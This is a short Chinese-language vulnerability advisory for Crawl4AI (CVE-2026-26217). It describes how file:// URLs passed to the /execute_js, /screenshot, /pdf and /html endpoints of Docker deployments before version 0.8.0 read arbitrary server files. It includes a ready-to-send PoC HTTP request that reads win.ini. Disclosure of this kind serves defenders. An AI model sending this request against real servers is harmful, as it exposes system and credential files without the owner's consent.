Crawl4AI /execute_js 服务器端请求伪造漏洞（CVE-2026-26217）

2026-02-27 Crawl4AI PoC Public

Description

Crawl4AI 是一个开源的 AI 爬虫工具。Crawl4AI 0.8.0 版本之前在 Docker API 部署中存在本地文件包含漏洞。攻击者可以通过 /execute_js、/screenshot、/pdf 和 /html 端点传入 file:// 协议的 URL，从而读取服务器文件系统上的任意文件（如 /etc/passwd）。

PoC

POST /execute_js HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 74
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

{"url":"file:///c:/windows/win.ini","scripts":["document.body.innerText"]}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Crawl4AI /execute_js Server-Side Request Forgery Vulnerability(CVE-2026-26217)

References

Related Vulnerabilities